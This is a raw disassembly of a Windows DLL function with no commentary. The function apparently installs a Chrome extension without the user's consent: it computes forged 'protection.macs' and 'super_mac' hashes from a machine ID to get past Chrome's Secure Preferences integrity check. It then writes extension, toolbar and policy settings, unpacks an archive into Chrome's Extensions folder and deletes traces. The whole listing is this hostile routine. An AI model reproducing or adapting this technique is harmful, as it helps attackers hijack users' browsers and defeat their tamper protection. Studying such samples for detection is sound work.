mov byte [ebp - 0x8d1], 0
mov dword [ebp - 4], 7
mov eax, dword [ebp - 0x8ec]
test al, 2
je 0x10027f89
mov edx, dword [ebp - 0x694]
cmp edx, 0x10
jb 0x10027f89
mov ecx, dword [ebp - 0x6a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10027f7f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b08
push edx
push ecx
call fcn.100b4813
add esp, 8
cmp byte [ebp - 0x8d1], 0
je 0x10028780
push 0x104
lea eax, [ebp - 0x690]
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea ecx, [ebp - 0x978]
push 0x100ee1a0
push str.path
call fcn.10015d00
lea ecx, [ebp - 0x6a8]
push ecx
mov ecx, eax
call fcn.10015330
mov ecx, eax
cmp dword [ecx + 0x14], 0x10
jb 0x10027fd9
mov ecx, dword [ecx]
lea edx, [ebp - 0x690]
sub edx, ecx
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x10027fe1
mov edx, dword [ebp - 0x694]
cmp edx, 0x10
jb 0x10028028
mov ecx, dword [ebp - 0x6a8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1002801e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b0d
push edx
push ecx
call fcn.100b4813
add esp, 8
mov eax, dword [ebp - 0x930]
mov ecx, dword [ebp - 0x93c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x690], xmm0
movups xmm0, xmmword [eax + 0x10]
movups xmmword [ebp - 0x680], xmm0
call fcn.1001a080
push 1
lea ecx, [ebp - 0x6a8]
mov dword [ebp - 0x94c], eax
call fcn.10014ec0
push 0x100ee1ba
push str.browser_action_visible
lea ecx, [ebp - 0x978]
mov byte [ebp - 4], 0xb
call fcn.10015d00
lea ecx, [ebp - 0x6a8]
mov byte [ebp - 4], 7
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x6a8]
call fcn.10015080
push dword [ebp - 0x938]
lea ecx, [ebp - 0x6a8]
call fcn.10014df0
push 0x100ee090
push str.manifest
lea ecx, [ebp - 0x978]
mov byte [ebp - 4], 0xd
call fcn.10015d00
push 0x100ee1bf
push 0x100ee1bc
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x6a8]
mov byte [ebp - 4], 7
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x6a8]
call fcn.10015080
lea edx, [ebp - 0x690]
mov byte [ebp - 0x908], 4
or dword [ebp - 0x908], 0x100
lea ecx, [edx + 1]
mov dword [ebp - 0x904], 0
mov dword [ebp - 0x900], 0
mov dword [ebp - 0x8fc], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x10028127
sub edx, ecx
lea ecx, [ebp - 0x690]
call fcn.100145d0
mov dword [ebp - 0x910], eax
push 0x100ee1a0
push str.path
lea ecx, [ebp - 0x978]
mov byte [ebp - 4], 0x10
call fcn.10015d00
lea ecx, [ebp - 0x910]
mov byte [ebp - 4], 7
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x910]
call fcn.10015080
cmp dword [ebp - 0x6b0], 0x10
lea eax, [ebp - 0x6c4]
mov dword [ebp - 0x6b4], 0
lea ecx, [ebp - 0x6c8]
cmovae eax, dword [ebp - 0x6c4]
mov byte [eax], 0
lea eax, [ebp - 0x978]
push eax
call fcn.100183f0
cmp byte [ebp - 0x6aa], 0
jne 0x100281c3
push 0x100ed634
lea ecx, [ebp - 0x6c4]
call fcn.100015b0
lea eax, [ebp - 0x6c4]
push eax
lea ecx, [ebp - 0x710]
call fcn.1000e910
push dword [ebp - 0x8e8]
mov byte [ebp - 4], 0x11
push 0
push edi
call fcn.100b7060
mov esi, dword [ebp - 0x710]
lea edx, [ebp - 0x710]
add esp, 0xc
cmp dword [ebp - 0x6fc], 0x10
cmovae edx, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x10028203
sub edx, ecx
cmp dword [ebp - 0x6fc], 0x10
lea ecx, [ebp - 0x710]
cmovae ecx, esi
lea eax, [edx - 1]
push eax
push ecx
push edi
call fcn.100b6ae0
movups xmm0, xmmword [0x100e8fe8]
add esp, 0xc
lea ecx, [ebp - 0x750]
movups xmmword [ebp - 0x790], xmm0
movups xmm0, xmmword [0x100e8ff8]
movups xmmword [ebp - 0x780], xmm0
movups xmm0, xmmword [0x100e9008]
movups xmmword [ebp - 0x770], xmm0
movups xmm0, xmmword [0x100e9018]
movups xmmword [ebp - 0x760], xmm0
call fcn.100db400
test eax, eax
je 0x10028285
lea eax, [ebp - 0x750]
push eax
push str.machine_id:__s_n
call fcn.10003980
add esp, 8
lea eax, [ebp - 0x168]
push eax
push edi
lea edx, [ebp - 0x588]
lea ecx, [ebp - 0x790]
call fcn.100db910
lea eax, [ebp - 0x168]
push eax
push str._DEBUGINFO__SETCRX__Chrome_hash___s_n
call fcn.100043d0
lea edx, [ebp - 0x168]
mov byte [ebp - 0x908], 4
add esp, 0x10
mov dword [ebp - 0x904], 0
or dword [ebp - 0x908], 0x100
lea ecx, [edx + 1]
mov dword [ebp - 0x900], 0
mov dword [ebp - 0x8fc], 0
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x100282f0
sub edx, ecx
lea ecx, [ebp - 0x168]
call fcn.100145d0
mov dword [ebp - 0x910], eax
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
mov byte [ebp - 4], 0x14
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100ee07a
push str.extensions
mov ecx, eax
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
mov esi, dword [ebp - 0x930]
mov ecx, eax
push esi
call fcn.10015fd0
lea ecx, [ebp - 0x910]
mov byte [ebp - 4], 0x11
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x910]
call fcn.10015080
lea eax, [ebp - 0x978]
push eax
lea ecx, [ebp - 0x6a8]
call fcn.10014ef0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x928]
mov byte [ebp - 4], 0x15
call fcn.10015d00
push 0x100ee084
push str.settings
mov ecx, eax
call fcn.10015d00
push esi
mov ecx, eax
call fcn.10015fd0
lea ecx, [ebp - 0x6a8]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x6a8]
call fcn.10015080
mov byte [ebp - 0x908], 0
and dword [ebp - 0x908], 0xfffffeff
mov dword [ebp - 0x904], 0
mov dword [ebp - 0x900], 0
mov dword [ebp - 0x8fc], 0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x928]
mov byte [ebp - 4], 0x17
call fcn.10015d00
push 0x100ee10b
push str.toolbar
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x910]
mov byte [ebp - 4], 0x11
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x910]
call fcn.10015080
push esi
lea ecx, [ebp - 0x6a8]
call fcn.10014df0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x928]
mov byte [ebp - 4], 0x18
call fcn.10015d00
push 0x100ee10b
push str.toolbar
mov ecx, eax
call fcn.10015d00
mov esi, eax
lea ecx, [ebp - 0x6e0]
lea eax, [ebp - 0x6a8]
push eax
call fcn.10014ef0
mov ecx, esi
mov byte [ebp - 4], 0x19
call fcn.10015800
push eax
mov ecx, esi
call fcn.10015980
lea ecx, [ebp - 0x6e0]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x6e0]
call fcn.10015080
lea ecx, [ebp - 0x6a8]
call fcn.10015080
push 0
lea ecx, [ebp - 0x6e0]
call fcn.10014ec0
push 0x100ee07a
push str.extensions
lea ecx, [ebp - 0x928]
mov byte [ebp - 4], 0x1a
call fcn.10015d00
push 0x100ee1ee
push str.policy
mov ecx, eax
call fcn.10015d00
push 0x100ee1f6
push str.switch
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x6e0]
mov byte [ebp - 4], 0x11
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x6e0]
call fcn.10015080
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
cmp dword [ebp - 0x6b0], 0x10
lea ecx, [ebp - 0x6c4]
mov dword [ebp - 0x6b4], 0
cmovae ecx, dword [ebp - 0x6c4]
push eax
mov byte [ecx], 0
lea ecx, [ebp - 0x6c8]
call fcn.100183f0
cmp byte [ebp - 0x6aa], 0
jne 0x100285a6
push 0x100ed634
lea ecx, [ebp - 0x6c4]
call fcn.100015b0
lea eax, [ebp - 0x6c4]
push eax
lea ecx, [ebp - 0x6a8]
call fcn.1000e910
mov byte [ebp - 4], 0x1b
lea esi, [ebp - 0x6a8]
cmp dword [ebp - 0x694], 0x10
mov edi, dword [ebp - 0x6a8]
cmovae esi, edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x100285d5
sub esi, ecx
push esi
call fcn.100bd8fa
add esp, 4
mov dword [ebp - 0x8e8], eax
push esi
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [esi - 1]
cmp dword [ebp - 0x694], 0x10
lea ecx, [ebp - 0x6a8]
mov esi, dword [ebp - 0x8e8]
cmovae ecx, edi
push eax
push ecx
push esi
call fcn.100b6ae0
add esp, 0xc
lea eax, [ebp - 0x168]
mov edx, 0x100e86f4
lea ecx, [ebp - 0x790]
push eax
push esi
call fcn.100db910
lea eax, [ebp - 0x168]
push eax
push str._DEBUGINFO__SETCRX__Chrome_suppermac_hash___s_n
call fcn.100043d0
lea edx, [ebp - 0x168]
mov byte [ebp - 0x908], 4
add esp, 0x10
mov dword [ebp - 0x904], 0
or dword [ebp - 0x908], 0x100
lea ecx, [edx + 1]
mov dword [ebp - 0x900], 0
mov dword [ebp - 0x8fc], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x10028681
sub edx, ecx
lea ecx, [ebp - 0x168]
call fcn.100145d0
mov dword [ebp - 0x910], eax
push 0x100ee162
push str.protection
lea ecx, [ebp - 0x928]
mov byte [ebp - 4], 0x1e
call fcn.10015d00
push 0x100ee168
push str.macs
mov ecx, eax
call fcn.10015d00
push 0x100eeb39
push str.super_mac
mov ecx, eax
call fcn.10015d00
lea ecx, [ebp - 0x910]
push ecx
mov ecx, eax
call fcn.100151a0
lea ecx, [ebp - 0x910]
call fcn.10015080
push esi
call fcn.100bd905
add esp, 4
push dword [ebp - 0x94c]
call fcn.100bd905
mov byte [ebp - 4], 0x11
add esp, 4
mov eax, dword [ebp - 0x694]
cmp eax, 0x10
jb 0x10028740
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x10028736
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b12
push ecx
push edi
call fcn.100b4813
add esp, 8
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x6fc]
cmp eax, 0x10
jb 0x10028780
mov ecx, dword [ebp - 0x710]
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x10028776
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b17
push edx
push ecx
call fcn.100b4813
add esp, 8
lea eax, [ebp - 0x480]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x6b0], 0x10
lea eax, [ebp - 0x6c4]
mov dword [ebp - 0x6b4], 0
lea ecx, [ebp - 0x6c8]
cmovae eax, dword [ebp - 0x6c4]
mov byte [eax], 0
lea eax, [ebp - 0x928]
push eax
call fcn.100183f0
cmp byte [ebp - 0x6aa], 0
jne 0x100287d9
push 0x100ed634
lea ecx, [ebp - 0x6c4]
call fcn.100015b0
lea eax, [ebp - 0x6c4]
push eax
lea ecx, [ebp - 0x6f8]
call fcn.1000e910
push 0x100ee038
push dword [ebp - 0x92c]
mov byte [ebp - 4], 0x1f
call fcn.100bed8c
mov edx, dword [ebp - 0x6e4]
lea ecx, [ebp - 0x6f8]
mov esi, dword [ebp - 0x6f8]
add esp, 8
cmp edx, 0x10
mov edi, eax
cmovae ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x8e8], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10028825
sub ecx, dword [ebp - 0x8e8]
lea eax, [ebp - 0x6f8]
push edi
cmp edx, 0x10
push 1
cmovae eax, esi
push ecx
push eax
call fcn.100befdb
push edi
call fcn.100bf0a9
add esp, 0x14
push str._DEBUGINFO__SETCRX__write_json_ok_n
call fcn.100043d0
add esp, 4
lea eax, [ebp - 0x270]
push 0x104
push 0
push eax
call fcn.100b7060
add esp, 0xc
lea eax, [ebp - 0x270]
push dword [ebp - 0x92c]
push 0x104
push eax
call fcn.100c3c1c
add esp, 0xc
lea eax, [ebp - 0x270]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea ecx, [ebp - 0x270]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100288a2
mov eax, dword [str.Extensions_]
mov dword [ecx], eax
mov eax, dword [0x100ee098]
mov dword [ecx + 4], eax
mov eax, dword [0x100ee09c]
mov dword [ecx + 8], eax
mov al, byte [0x100ee0a0]
push 0x100ee1a0
mov byte [ecx + 0xc], al
lea ecx, [ebp - 0x978]
push str.path
call fcn.10015d00
cmp byte [eax + 8], 0
je 0x100289b7
push 0x100ee1a0
push str.path
lea ecx, [ebp - 0x978]
call fcn.10015d00
lea ecx, [ebp - 0x6e0]
push ecx
mov ecx, eax
call fcn.10015330
mov edx, eax
cmp dword [edx + 0x14], 0x10
jb 0x10028917
mov edx, dword [edx]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10028920
lea edi, [ebp - 0x270]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10028930
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0x6cc]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp edx, 0x10
jb 0x10028980
mov ecx, dword [ebp - 0x6e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10028976
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b1c
push edx
push ecx
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0x270]
call fcn.1001a270
push 0x100ee16c
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0x898]
push eax
call fcn.100ab670
lea eax, [ebp - 0x270]
push eax
push str._DEBUGINFO__SETCRX__un7zfile__pluginpath___s_n
call fcn.100043d0
add esp, 8
lea eax, [ebp - 0x898]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str._DEBUGINFO__SETCRX__write_file_ok_n
call fcn.100043d0
mov esi, dword [ebp - 0x8e0]
add esp, 4
push esi
call fcn.100bd905
mov edx, dword [ebp - 0x6e4]
add esp, 4
cmp edx, 0x10
jb 0x10028a1a
mov ecx, dword [ebp - 0x6f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10028a10
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10028b21
push edx
push ecx
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0x978]
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0x6e4], 0xf
mov byte [ebp - 0x6f8], 0
call fcn.10015080
push dword [ebp - 0x93c]
call fcn.100bd905
add esp, 4
push dword [ebp - 0x954]
call fcn.100bd905
add esp, 4
push dword [ebp - 0x930]
call fcn.100bd905
add esp, 4
push dword [ebp - 0x938]
call fcn.100bd905
add esp, 4
push dword [ebp - 0x950]
call fcn.100bd905
add esp, 4
lea ecx, [ebp - 0x948]
mov esi, 1
call fcn.1000a810
mov edi, dword [ebp - 0x934]
jmp 0x10028aa0
xor esi, esi
test edi, edi
je 0x10028ab6
mov ecx, edi
call fcn.1000a490
push 0x74
push edi
call fcn.100b4813
add esp, 8
lea ecx, [ebp - 0x6c8]
call fcn.10017a80
lea ecx, [ebp - 0x928]
call fcn.10015080
push dword [ebp - 0x8e4]
call fcn.100bd905
add esp, 4
jmp 0x10028ae3
xor esi, esi
jmp 0x10028ae3
or esi, 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100b47d2
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
call fcn.100ba02c
int3